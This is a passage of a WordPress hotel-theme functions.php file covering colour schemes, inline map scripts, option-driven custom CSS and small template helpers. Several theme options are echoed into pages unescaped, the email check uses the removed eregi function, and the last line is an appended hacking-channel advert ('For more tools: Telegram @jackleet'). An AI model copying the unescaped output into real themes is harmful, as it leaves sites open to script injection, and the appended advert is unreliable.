if( $smof_data['colour_scheme'] == 'Gold & Black') {
wp_enqueue_style('colour', get_template_directory_uri() .'/css/colours/goldblack.css');
} elseif( $smof_data['colour_scheme'] == 'Cream & Green') {
wp_enqueue_style('colour', get_template_directory_uri() .'/css/colours/creamgreen.css');
} elseif( $smof_data['colour_scheme'] == 'Cream & Red') {
wp_enqueue_style('colour', get_template_directory_uri() .'/css/colours/creamred.css');
} elseif( $smof_data['colour_scheme'] == 'Blue & Black') {
wp_enqueue_style('colour', get_template_directory_uri() .'/css/colours/blueblack.css');
} else {
wp_enqueue_style('colour', get_template_directory_uri() .'/css/colours/goldblack.css');
}
// Load Other CSS
wp_enqueue_style('superfish', get_template_directory_uri() .'/css/superfish.css');
wp_enqueue_style('prettyPhoto', get_template_directory_uri() .'/css/prettyPhoto.css');
wp_enqueue_style('flexslider', get_template_directory_uri() .'/css/flexslider.css');
wp_enqueue_style('responsive', get_template_directory_uri() .'/css/responsive.css');
wp_localize_script('google-map-header', 'gmap_options', array('hide_businesses' => !empty($smof_data['gmap-hide-businesses']) ? $smof_data['gmap-hide-businesses'] : ''));
}
}
}
if( !function_exists( 'custom_js' ) ) {
function custom_js() {
global $smof_data; //fetch options stored in $smof_data
echo '<script type="text/javascript">';
if ( ($smof_data['gmap-lat']) && ($smof_data['gmap-long']) ) {
echo "var headerLat = " . $smof_data['gmap-lat'] . ";";
echo "var headerLong = " . $smof_data['gmap-long'] . ";";
} else {
echo "var headerLat = 51.523728;";
echo "var headerLong = -0.079336;";
}
if ( $smof_data['gmap-content'] ) {
// replace all newlines with <br />, and escape single quotes to prevent breaking Google maps
$gmap_content = preg_replace(array('/\n/', '/\r/'), '<br />', $smof_data['gmap-content']);
$gmap_content = preg_replace('/\'/', '\\\'', $gmap_content);
echo "var googlemapMarker = '" . $gmap_content . "';";
} else {
echo "var googlemapMarker = '<div class=\"gmap-content\"><h2>Soho Hotel</h2><p>1 Main Road, London, UK</p></div>';";
}
if ( $smof_data['slideshow_autoplay'] ) {
echo "var slideshow_autoplay = true;";
} else {
echo "var slideshow_autoplay = false;";
}
echo '</script>';
}
}
add_action('wp_footer', 'custom_js');
/* ------------------------------------------------
Enqueue Google Fonts
------------------------------------------------ */
add_action( 'wp_enqueue_scripts', 'qns_fonts' );
function qns_fonts() {
$protocol = is_ssl() ? 'https' : 'http';
wp_enqueue_style( 'qns-opensans', "$protocol://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic" );
global $smof_data; //fetch options stored in $smof_data
if ( !$smof_data['custom_font_code'] ) {
wp_enqueue_style( 'qns-merriweather', "$protocol://fonts.googleapis.com/css?family=Merriweather:400,300,700,900' rel='stylesheet" );
} else {
echo $smof_data['custom_font_code'];
}
}
function admin_style() {
global $pagenow;
$get = filter_input_array(INPUT_GET);
if ($pagenow == 'themes.php' && (!empty($get['page']) && $get['page'] == 'optionsframework')) {
wp_enqueue_style('admin-css', get_template_directory_uri().'/css/admin.css');
return;
}
global $post;
if (is_object($post) && (get_post_type($post->ID) == 'testimonial' || get_post_type($post->ID) == 'event')) {
wp_enqueue_style('admin-css', get_template_directory_uri().'/css/admin.css');
return;
}
}
add_action("admin_head", 'admin_style');
/* ------------------------------------------------
Load Files
------------------------------------------------ */
// Post Types
include 'functions/post-types/testimonials.php';
include 'functions/post-types/events.php';
include 'functions/post-types/page.php';
// Shortcodes
include 'functions/shortcodes/accordion.php';
include 'functions/shortcodes/button.php';
include 'functions/shortcodes/columns.php';
include 'functions/shortcodes/dropcap.php';
include 'functions/shortcodes/gallery.php';
include 'functions/shortcodes/googlemap.php';
include 'functions/shortcodes/list.php';
include 'functions/shortcodes/message.php';
include 'functions/shortcodes/tabs.php';
include 'functions/shortcodes/title.php';
include 'functions/shortcodes/toggle.php';
include 'functions/shortcodes/video.php';
include 'functions/shortcodes/widget-slider.php';
include 'functions/shortcodes/home-gallery.php';
include 'functions/shortcodes/slideshow.php';
// Widgets
include 'functions/widgets/widget-flickr.php';
include 'functions/widgets/widget-social.php';
include 'functions/widgets/widget-recent-posts.php';
include 'functions/widgets/widget-contact.php';
/* ------------------------------------------------
Custom CSS
------------------------------------------------ */
function custom_css() {
global $smof_data; //fetch options stored in $smof_data
// Set Font Family
if ( !$smof_data['custom_font'] ) {
$custom_font = "'Merriweather', serif"; }
else {
$custom_font = $smof_data['custom_font'];
}
// Output Custom CSS
$output = '<style type="text/css">
h1, h2, h3, h4, h5, h6, #navigation li, .slider-caption p, .room-price-widget .from, .room-price-widget .price, .room-price-widget .price-detail, .step-icon, .step-title, .room-price .price span, .price-details .deposit, .price-details .total, .lightbox-title, table th, .mobile-menu-title {
font-family: ' . $custom_font . ' !important;
}
' . $smof_data['custom_css'];
if ( $smof_data['body_background'] and $smof_data['body_background_image'] ) {
if ( $smof_data['background_repeat'] ) {
$background_repeat = $smof_data['background_repeat'];
}
else {
$background_repeat = 'repeat';
}
$output .= 'body {
background: url(' . $smof_data['body_background_image'] . ') ' . $smof_data['body_background'] . ' fixed ' . $smof_data['background_repeat'] . ' !important;
}';
}
elseif ( $smof_data['body_background'] ) {
$output .= 'body {
background: ' . $smof_data['body_background'] . ' !important;
}';
}
elseif ( $smof_data['body_background_image'] ) {
$output .= 'body {
background: url(' . $smof_data['body_background_image'] . ') fixed ' . $smof_data['background_repeat'] . ' !important;
}';
}
if ( $smof_data['main_colorrgba'] ) {
$output .= '.slider-caption p.colour-caption {
background: ' . $smof_data['main_colorrgba'] . ';
}';
}
if ( $smof_data['nav_footer_color'] ) {
$output .= '#topbar,
#slider .home-reservation-box,
#slider-full .home-reservation-box,
#footer,
.mobile-menu-title,
.mobile-menu-inner,
.dark-wrapper .text-slider ul li,
.widget-reservation-box,
.dark-wrapper,
.booking-side,
.booking-main,
.price-details .deposit,
.price-details .total,
.price-details .total-only,
#ui-datepicker-div,
.step-icon,
.lightbox-title,
#language-selection li li a,
.room-price-widget .from,
.room-price-widget .price-detail,
#lang_sel_footer {
background: ' . $smof_data['nav_footer_color'] . ';
}
.gmap-button,
.gmap-button:hover,
.gmap-button-hover,
.mobile-menu-button,
.contact_details_list .phone_list:before,
.contact_details_list .fax_list:before,
.contact_details_list .email_list:before,
.contact_details_list .address_list:before {
background-color: ' . $smof_data['nav_footer_color'] . ';
}
.contact_details_list_dark .phone_list:before,
.contact_details_list_dark .fax_list:before,
.contact_details_list_dark .email_list:before {
background-color: #fff !impoortant;
}
.ui-datepicker-calendar tbody tr td a,
#open_datepicker .ui-datepicker-calendar .ui-datepicker-unselectable .ui-state-default,
.ui-datepicker-calendar tbody tr td.ui-datepicker-unselectable span {
border-color: ' . $smof_data['nav_footer_color'] . ';
}';
}
if ( $smof_data['nav_footer_border'] ) {
$output .= '.dark-wrapper .blog-entry-inner h4 span,
.dark-wrapper .event-entry-inner h4 span,
.booking-side ul li span,
.room-list-right .room-meta li span,
.room-price .price,
.price-breakdown-display span,
.dark-wrapper .testimonial-author,
.price-details .deposit,
.price-details .total,
.price-details .total-only,
.contact_details_list_dark li strong,
.room-price-widget .from,
.room-price-widget .price-detail,
#footer .tweets li span,
#footer .tweets li a {
color: ' . $smof_data['nav_footer_border'] . ';
}
.key-available-icon,
.key-unavailable-icon,
.price-details .total-line,
.ui-datepicker-calendar tbody tr td a {
background: ' . $smof_data['nav_footer_border'] . ';
}
.dark-wrapper .blog-entry-inner h4 span,
.dark-wrapper .event-entry-inner h4 span,
.room-list-wrapper .room-item,
.price-breakdown-open,
.dark-wrapper .title-style1,
.space7,
.space8,
.booking-side ul li,
.price-details,
.ui-datepicker-calendar thead tr th,
#language-selection li li a,
.price-details .price-breakdown,
#open_datepicker .ui-datepicker-group-first,
.contact_details_list_dark li,
.room-price-widget,
.dark-wrapper .testimonial-wrapper,
#footer-bottom,
#lang_sel_footer {
border-color: ' . $smof_data['nav_footer_border'] . ';
}
#footer-bottom ul li span {
color: ' . $smof_data['nav_footer_border'] . ';
}
#language-selection li li a:hover {
background: ' . $smof_data['nav_footer_border'] . ';
}
#open_datepicker .ui-datepicker-calendar .ui-datepicker-unselectable .ui-state-default {
background: #292929;
color: ' . $smof_data['nav_footer_border'] . ';
}';
}
if ( $smof_data['main_color'] ) {
$output .= '#navigation .current-menu-item,
#navigation .current_page_item,
#navigation li:hover,
blockquote,
.button1:hover,
.button4:hover,
.button5:hover,
.button2,
#submit,
.button3,
.button6,
#footer .button1,
.ui-tabs .ui-tabs-nav li.ui-state-active,
.widget-reservation-box,
.booking-side,
.booking-main,
#slider .home-reservation-box,
#slider-full .home-reservation-box,
#ui-datepicker-div,
.pagination-wrapper .selected,
.pagination-wrapper a:hover,
.wp-pagenavi .current,
.wp-pagenavi a:hover,
.tagcloud a:hover,
.nsu-submit:hover,
#footer .nsu-submit,
.nsu-submit:hover,
#footer .nsu-submit {
border-color: ' . $smof_data['main_color'] . ';
}
.title-block,
.button1:hover,
.button4:hover,
.button5:hover,
.button2,
#submit,
.button3,
.button6,
#footer .button1,
.page-content table th,
.event-month,
.key-selected-icon,
.dark-notice,
.booking-main input[type="submit"],
.home-reservation-box input[type="submit"],
.widget-reservation-box input[type="submit"],
.booking-side input[type="submit"],
.ui-datepicker-calendar tbody tr td a.ui-state-hover,
.step-icon-current,
.pagination-wrapper .selected,
.pagination-wrapper a:hover,
.wp-pagenavi .current,
.wp-pagenavi a:hover,
.tagcloud a:hover,
a.button0,
.more-link,
.nsu-submit:hover,
#footer .nsu-submit,
.nsu-submit:hover,
#footer .nsu-submit {
background: ' . $smof_data['main_color'] . ';
}
.page-content p a,
.page-content ol li a {
color: ' . $smof_data['main_color'] . ';
}
.facebook-icon:hover,
.twitter-icon:hover,
.pinterest-icon:hover,
.gplus-icon:hover,
.linkedin-icon:hover,
.yelp-icon:hover,
.instagram-icon:hover,
.tripadvisor-icon:hover {
background-color: ' . $smof_data['main_color'] . ';
}
';
}
if ( $smof_data['main_color'] || $smof_data['dp_unavailable_background'] || $smof_data['dp_available_background'] ) {
$dp_selected_background = $smof_data['dp_selected_background'] ? $smof_data['dp_selected_background'] : ($smof_data['main_color'] ? $smof_data['main_color'] : '');
$dp_unavailable_background = $smof_data['dp_unavailable_background'] ? $smof_data['dp_unavailable_background'] : '#292929';
$dp_available_background = $smof_data['dp_available_background'] ? $smof_data['dp_available_background'] : '#424242';
$output .= "
.dp-half-begin a {
background: {$dp_available_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_available_background} 0%, {$dp_available_background} 50%, {$dp_unavailable_background} 50%, {$dp_unavailable_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_available_background}), color-stop(50%,{$dp_available_background}), color-stop(51%,{$dp_unavailable_background}), color-stop(100%,{$dp_unavailable_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_unavailable_background} 50%,{$dp_unavailable_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_unavailable_background} 50%,{$dp_unavailable_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_unavailable_background} 50%,{$dp_unavailable_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_unavailable_background} 50%,{$dp_unavailable_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_available_background}', endColorstr='{$dp_unavailable_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}
.dp-half-end a {
background: {$dp_available_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_unavailable_background} 0%, {$dp_unavailable_background} 50%, {$dp_available_background} 50%, {$dp_available_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_unavailable_background}), color-stop(50%,{$dp_unavailable_background}), color-stop(51%,{$dp_available_background}), color-stop(100%,{$dp_available_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_available_background} 50%,{$dp_available_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_available_background} 50%,{$dp_available_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_available_background} 50%,{$dp_available_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_available_background} 50%,{$dp_available_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_unavailable_background}', endColorstr='{$dp_available_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}
.dp-highlight-begin a,
.ui-datepicker-calendar tbody tr td a.ui-state-hover,
.dp-flip .ui-datepicker-calendar tbody tr td.dp-highlight-begin a.ui-state-hover { /* light/highlight */
background: {$dp_selected_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_available_background} 0%, {$dp_available_background} 50%, {$dp_selected_background} 50%, {$dp_selected_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_available_background}), color-stop(50%,{$dp_available_background}), color-stop(51%,{$dp_selected_background}), color-stop(100%,{$dp_selected_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_available_background}', endColorstr='{$dp_selected_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}
.dp-highlight-begin-blocked a,
.ui-datepicker-calendar tbody tr td.dp-half-end a.ui-state-hover,
.ui-datepicker-calendar tbody tr td.dp-highlight-begin-blocked a.ui-state-hover,
.dp-flip .ui-datepicker-calendar tbody tr td.dp-highlight-begin-blocked a.ui-state-hover,
.dp-flip .ui-datepicker-calendar tbody tr td.dp-half-end a.ui-state-hover { /* dark/highlight */
background: {$dp_selected_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_unavailable_background} 0%, {$dp_unavailable_background} 50%, {$dp_selected_background} 50%, {$dp_selected_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_unavailable_background}), color-stop(50%,{$dp_unavailable_background}), color-stop(51%,{$dp_selected_background}), color-stop(100%,{$dp_selected_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_unavailable_background}', endColorstr='{$dp_selected_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}
.dp-highlight-end a,
.ui-datepicker-calendar tbody tr td.dp-highlight-end a.ui-state-hover,
.dp-flip .ui-datepicker-calendar tbody tr td a.ui-state-hover { /* highlight/light */
background: {$dp_selected_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_available_background} 0%, {$dp_available_background} 50%, {$dp_selected_background} 50%, {$dp_selected_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_available_background}), color-stop(50%,{$dp_available_background}), color-stop(51%,{$dp_selected_background}), color-stop(100%,{$dp_selected_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_available_background} 0%,{$dp_available_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_selected_background} 0%,{$dp_selected_background} 50%,{$dp_available_background} 50%,{$dp_available_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_selected_background}', endColorstr='{$dp_available_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}
.dp-highlight-end-blocked a,
.ui-datepicker-calendar tbody tr td.dp-half-begin a.ui-state-hover,
.ui-datepicker-calendar tbody tr td.dp-highlight-end-blocked a.ui-state-hover { /* highlight/dark */
background: {$dp_selected_background} !important; /* Old browsers */
background: -moz-linear-gradient(-45deg, {$dp_unavailable_background} 0%, {$dp_unavailable_background} 50%, {$dp_selected_background} 50%, {$dp_selected_background} 100%) !important; /* FF3.6+ */
background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,{$dp_unavailable_background}), color-stop(50%,{$dp_unavailable_background}), color-stop(51%,{$dp_selected_background}), color-stop(100%,{$dp_selected_background})) !important; /* Chrome,Safari4+ */
background: -webkit-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* Opera 11.10+ */
background: -ms-linear-gradient(-45deg, {$dp_unavailable_background} 0%,{$dp_unavailable_background} 50%,{$dp_selected_background} 50%,{$dp_selected_background} 100%) !important; /* IE10+ */
background: linear-gradient(135deg, {$dp_selected_background} 0%,{$dp_selected_background} 50%,{$dp_unavailable_background} 50%,{$dp_unavailable_background} 100%) !important; /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='{$dp_selected_background}', endColorstr='{$dp_unavailable_background}',GradientType=1 ) !important; /* IE6-9 fallback on horizontal gradient */
}";
$output .= "
.ui-datepicker-calendar .dp-highlight .ui-state-default {
background: {$dp_selected_background};
};
.ui-datepicker-calendar .dp-unavailable .ui-state-default {
background: {$dp_unavailable_background};
}
";
}
if ( $smof_data['dp_unavailable_background'] ) {
$output .= "
.key-unavailable-icon,
#open_datepicker .ui-datepicker-calendar .ui-datepicker-unselectable .ui-state-default,
.ui-datepicker-calendar tbody tr td.ui-datepicker-unselectable span {
background: {$smof_data['dp_unavailable_background']};
}";
}
if ( $smof_data['dp_unavailable_color'] ) {
$output .= "
.key-unavailable-icon,
#open_datepicker .ui-datepicker-calendar
.ui-datepicker-unselectable .ui-state-default,
.ui-datepicker-calendar tbody tr td.ui-datepicker-unselectable span {
color: {$smof_data['dp_unavailable_color']};
}";
}
if ( $smof_data['dp_available_background'] ) {
$output .= "
.key-available-icon,
.ui-datepicker-calendar tbody tr td a {
background: {$smof_data['dp_available_background']};
}";
}
if ( $smof_data['dp_available_color'] ) {
$output .= "
.key-available-icon,
.ui-datepicker-calendar tbody tr td a,
#open_datepicker .ui-datepicker-calendar a,
#ui-datepicker-div a {
color: {$smof_data['dp_available_color']};
}";
}
if ( $smof_data['dp_selected_background'] ) {
$output .= "
.key-selected-icon,
.ui-datepicker-calendar tbody tr td a:hover,
#open_datepicker .ui-datepicker-calendar .dp-highlight {
background: {$smof_data['dp_selected_background']};
}";
}
if ( $smof_data['dp_selected_color'] ) {
$output .= "
.key-selected-icon,
.ui-datepicker-calendar tbody tr td a:hover,
#open_datepicker .ui-datepicker-calendar .dp-highlight,
#ui-datepicker-div a:hover {
color: {$smof_data['dp_selected_color']};
}";
$output .= "
.dp-highlight-begin a,
#open_datepicker .dp-highlight-begin a,
.dp-highlight-begin-blocked a,
#open_datepicker .dp-highlight-begin-blocked a,
.dp-highlight-end a,
#open_datepicker .dp-highlight-end a,
.dp-highlight-end-blocked a,
#open_datepicker .dp-highlight-end-blocked a,
#open_datepicker .ui-datepicker-calendar tbody tr td a.ui-state-hover,
#ui-datepicker-div .ui-datepicker-calendar tbody tr td.dp-highlight-begin a,
#ui-datepicker-div .ui-datepicker-calendar tbody tr td.dp-highlight-begin-blocked a,
#ui-datepicker-div .ui-datepicker-calendar tbody tr td.dp-highlight-end a,
#ui-datepicker-div .ui-datepicker-calendar tbody tr td.dp-highlight-end-blocked a,
#ui-datepicker-div .ui-datepicker-calendar tbody tr td.dp-highlight a {
color: {$smof_data['dp_selected_color']};
}";
}
$output .= '</style>';
return $output;
}
/* -------------------------------------------------------
Remove width / height attributes from gallery images
------------------------------------------------------- */
add_filter('wp_get_attachment_link', 'remove_img_width_height', 10, 1);
add_filter('wp_get_attachment_image_attributes', 'remove_img_width_height', 10, 1);
function remove_img_width_height($html) {
$html = preg_replace( '/(width|height)=\"\d*\"\s/', "", $html );
return $html;
}
/* ------------------------------------------------
Remove rel attribute from the category list
------------------------------------------------ */
function remove_category_list_rel($output)
{
$output = str_replace(' rel="category"', '', $output);
return $output;
}
add_filter('wp_list_categories', 'remove_category_list_rel');
add_filter('the_category', 'remove_category_list_rel');
/* -----------------------------------------------------
Remove <p> / <br> tags from nested shortcode tags
----------------------------------------------------- */
add_filter('the_content', 'shortcode_fix');
function shortcode_fix($content)
{
$array = array (
'<p>[' => '[',
']</p>' => ']',
']<br />' => ']'
);
$content = strtr($content, $array);
return $content;
}
/* ------------------------------------------------
Excerpt Length
------------------------------------------------ */
function print_excerpt($length) {
global $post;
$text = $post->post_excerpt;
if ( '' == $text ) {
$text = get_the_content('');
$text = apply_filters('the_content', $text);
$text = str_replace(']]>', ']]>', $text);
}
$text = strip_shortcodes($text);
$text = strip_tags($text);
$text = substr($text,0,$length);
$excerpt = reverse_strrchr($text, '.', 1);
if( $excerpt ) {
echo apply_filters('the_excerpt',$excerpt);
} else {
echo apply_filters('the_excerpt',$text);
}
}
function reverse_strrchr($haystack, $needle, $trail) {
return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
/* ------------------------------------------------
Excerpt More Link
------------------------------------------------ */
function qns_continue_reading_link() {
return '';
}
function qns_auto_excerpt_more( $more ) {
return qns_continue_reading_link();
}
add_filter( 'excerpt_more', 'qns_auto_excerpt_more' );
/* ------------------------------------------------
The Title
------------------------------------------------ */
function qns_filter_wp_title( $title, $separator ) {
if ( is_feed() )
return $title;
global $paged, $page;
if ( is_search() ) {
$title = sprintf( __( 'Search results for %s', 'qns' ), '"' . get_search_query() . '"' );
if ( $paged >= 2 )
$title .= " $separator " . sprintf( __( 'Page %s', 'qns' ), $paged );
$title .= " $separator " . home_url( 'name', 'display' );
return $title;
}
$title .= get_bloginfo( 'name', 'display' );
$site_description = get_bloginfo( 'description', 'display' );
if ( $site_description && ( is_home() || is_front_page() ) )
$title .= " $separator " . $site_description;
if ( $paged >= 2 || $page >= 2 )
$title .= " $separator " . sprintf( __( 'Page %s', 'qns' ), max( $paged, $page ) );
return $title;
}
add_filter( 'wp_title', 'qns_filter_wp_title', 10, 2 );
/* ------------------------------------------------
Content ID/Class
------------------------------------------------ */
function content_id_class( $position ) {
global $smof_data; //fetch options stored in $smof_data
if ( $smof_data['sidebar_position'] ) {
$position = $smof_data['sidebar_position'];
if ( $position == 'left' ) {
$output = 'main-content right-main-content';
} elseif ( $position == 'right' ) {
$output = 'main-content left-main-content';
} elseif ( $position == 'none' ) {
$output = 'main-content full-width';
}
}
else {
$output = 'main-content left-main-content';
}
return $output;
}
/* ------------------------------------------------
Main Menu Fallback
------------------------------------------------ */
function wp_page_menu_qns() { ?>
<ul id="navigation">
<?php wp_list_pages(array(
'depth' => 2,
'exclude' => '',
'title_li' => '',
'link_before' => '<strong>',
'link_after' => '</strong>',
'sort_column' => 'post_title',
'sort_order' => 'ASC',
)); ?>
</ul>
<?php }
/* ------------------------------------------------
Mobile Main Menu Fallback
------------------------------------------------ */
function wp_page_mobile_menu_qns() { ?>
<ul id="mobile-menu">
<?php wp_list_pages(array(
'depth' => 2,
'exclude' => '',
'title_li' => '',
'sort_column' => 'post_title',
'sort_order' => 'ASC',
)); ?>
</ul>
<?php }
/* ------------------------------------------------
Password Protected Post Form
------------------------------------------------ */
add_filter( 'the_password_form', 'qns_password_form' );
function qns_password_form() {
global $post;
$label = 'pwbox-'.( empty( $post->ID ) ? rand() : $post->ID );
$form = '<div class="msg fail clearfix"><p class="nopassword">' . __( 'This post is password protected. To view it please enter your password below', 'qns' ) . '</p></div>
<form class="protected-post-form" action="' . get_option('siteurl') . '/wp-login.php?action=postpass" method="post"><label for="' . $label . '">' . __( 'Password', 'qns' ) . ' </label><input name="post_password" id="' . $label . '" class="text_input" type="password" size="20" /><div class="clearboth"></div><input id="submit" type="submit" value="' . esc_attr__( "Submit" ) . '" name="submit"></form>';
return $form;
}
/* ------------------------------------------------
Page Header
------------------------------------------------ */
function page_header( $url ) {
global $smof_data;
// If custom page header is set
if ( $url != '' ) {
$output = 'style="background:url(' . $url . ') #f4f4f4;"';
}
// If default page header is set and custom header is not set
elseif ( $smof_data['page_header'] && $url == '' ) {
$output = 'style="background:url(' . $smof_data['page_header'] . ') #f4f4f4;"';
}
else {
$output = ' style="background:#f4f4f4;"';
}
return $output;
}
/* ------------------------------------------------
Email Validation
------------------------------------------------ */
function valid_email($email) {
$result = TRUE;
if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$", $email)) {
$result = FALSE;
}
return $result;
}
/* ------------------------------------------------
Add PrettyPhoto for Attached Images
------------------------------------------------ */
add_filter( 'wp_get_attachment_link', 'sant_prettyadd');
function sant_prettyadd ($content) {
$content = preg_replace("/<a/","<a
rel=\"prettyPhoto[slides]\"",$content,1);
return $content;
}
/* ------------------------------------------------
Remove width/height dimensions from <img> tags
------------------------------------------------ */
add_filter( 'post_thumbnail_html', 'remove_thumbnail_dimensions', 10 );
add_filter( 'image_send_to_editor', 'remove_thumbnail_dimensions', 10 );
function remove_thumbnail_dimensions( $html ) {
$html = preg_replace( '/(width|height)=\"\d*\"\s/', "", $html );
return $html;
}
All system for education purposes only. For more tools: Telegram @jackleet